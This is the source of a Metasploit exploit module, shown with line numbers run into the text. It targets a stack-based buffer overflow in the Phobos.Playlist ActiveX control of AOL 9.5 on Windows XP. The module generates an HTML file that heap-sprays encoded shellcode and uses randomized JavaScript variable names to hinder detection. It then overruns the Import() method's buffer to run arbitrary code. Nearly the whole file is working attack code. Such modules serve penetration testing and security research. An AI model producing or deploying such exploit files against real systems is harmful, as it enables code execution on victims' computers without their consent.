Path: blob/master/modules/exploits/windows/fileformat/aol_phobos_bof.rb
24575 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45##6# aol_phobos_bof.rb7#8# AOL 9.5 Phobos.Playlist 'Import()' Stack-based Buffer Overflow exploit for the Metasploit Framework9#10# Tested successfully on the following platforms:11# - AOL 9.5 (Revision 4337.155) on Internet Explorer 7, Windows XP SP312#13# Phobos.dll version tested:14# File Version: 9.5.0.115# ClassID: A105BD70-BF56-4D10-BC91-41C88321F47C16# RegKey Safe for Script: False17# RegKey Safe for Init: False18# Implements IObjectSafety: False19# KillBitSet: False20#21# Due to the safe for initialization and safe for scripting settings of this ActiveX control,22# exploitation is possible only from Local Machine Zone, which means the victim must run the23# generated exploit file locally.24#25# Trancer26# http://www.rec-sec.com27##2829class MetasploitModule < Msf::Exploit::Remote30Rank = AverageRanking3132include Msf::Exploit::FILEFORMAT3334def initialize(info = {})35super(36update_info(37info,38'Name' => 'AOL 9.5 Phobos.Playlist Import() Stack-based Buffer Overflow',39'Description' => %q{40This module exploits a stack-based buffer overflow within Phobos.dll of AOL 9.5.41By setting an overly long value to 'Import()', an attacker can overrun a buffer42and execute arbitrary code.4344NOTE: This ActiveX control is NOT marked safe for scripting or initialization.45},46'License' => MSF_LICENSE,47'Author' => [48'Trancer <mtrancer[at]gmail.com>'49],50'References' => [51[ 'CVE', '2010-10015' ],52[ 'OSVDB', '61964'],53[ 'EDB', '11204' ],54[ 'URL', 'http://www.rec-sec.com/2010/01/25/aol-playlist-class-buffer-overflow/' ],55],56'DefaultOptions' => {57'EXITFUNC' => 'process',58'DisablePayloadHandler' => true59},60'Payload' => {61'Space' => 1024,62'BadChars' => "\x00\x09\x0a\x0d'\\",63'StackAdjustment' => -3500,64},65'Platform' => 'win',66'Targets' => [67[ 'Windows XP SP0-SP3 / IE 6.0 SP0-2 & IE 7.0', { 'Ret' => 0x0C0C0C0C, 'Offset' => 1000 } ]68],69'DisclosureDate' => '2010-01-20',70'DefaultTarget' => 0,71'Notes' => {72'Reliability' => UNKNOWN_RELIABILITY,73'Stability' => UNKNOWN_STABILITY,74'SideEffects' => UNKNOWN_SIDE_EFFECTS75}76)77)7879register_options(80[81OptString.new('FILENAME', [ false, 'The file name.', 'msf.html']),82]83)84end8586def exploit87# Encode the shellcode88shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))8990# Setup exploit buffers91nops = Rex::Text.to_unescape([target.ret].pack('V'))92ret = Rex::Text.uri_encode([target.ret].pack('L'))93blocksize = 0x4000094fillto = 50095offset = target['Offset']9697# Randomize the javascript variable names98phobos = rand_text_alpha(rand(100) + 1)99j_shellcode = rand_text_alpha(rand(100) + 1)100j_nops = rand_text_alpha(rand(100) + 1)101j_ret = rand_text_alpha(rand(100) + 1)102j_headersize = rand_text_alpha(rand(100) + 1)103j_slackspace = rand_text_alpha(rand(100) + 1)104j_fillblock = rand_text_alpha(rand(100) + 1)105j_block = rand_text_alpha(rand(100) + 1)106j_memory = rand_text_alpha(rand(100) + 1)107j_counter = rand_text_alpha(rand(30) + 2)108j_bla = rand_text_alpha(rand(8) + 4)109110html = %Q|<html>111<object classid='clsid:A105BD70-BF56-4D10-BC91-41C88321F47C' id='#{phobos}'></object>112<script>113#{j_shellcode}=unescape('#{shellcode}');114#{j_nops}=unescape('#{nops}');115#{j_headersize}=20;116#{j_slackspace}=#{j_headersize}+#{j_shellcode}.length;117while(#{j_nops}.length<#{j_slackspace})#{j_nops}+=#{j_nops};118#{j_fillblock}=#{j_nops}.substring(0,#{j_slackspace});119#{j_block}=#{j_nops}.substring(0,#{j_nops}.length-#{j_slackspace});120while(#{j_block}.length+#{j_slackspace}<#{blocksize})#{j_block}=#{j_block}+#{j_block}+#{j_fillblock};121#{j_memory}=new Array();122for(#{j_counter}=0;#{j_counter}<#{fillto};#{j_counter}++)#{j_memory}[#{j_counter}]=#{j_block}+#{j_shellcode};123124var #{j_ret}='';125for(#{j_counter}=0;#{j_counter}<=#{offset};#{j_counter}++)#{j_ret}+=unescape('#{ret}');126#{phobos}.Import(#{j_ret},'#{j_bla}','True','True');127</script>128</html>|129130print_status("Creating '#{datastore['FILENAME']}' file ...")131132file_create(html)133end134end135136137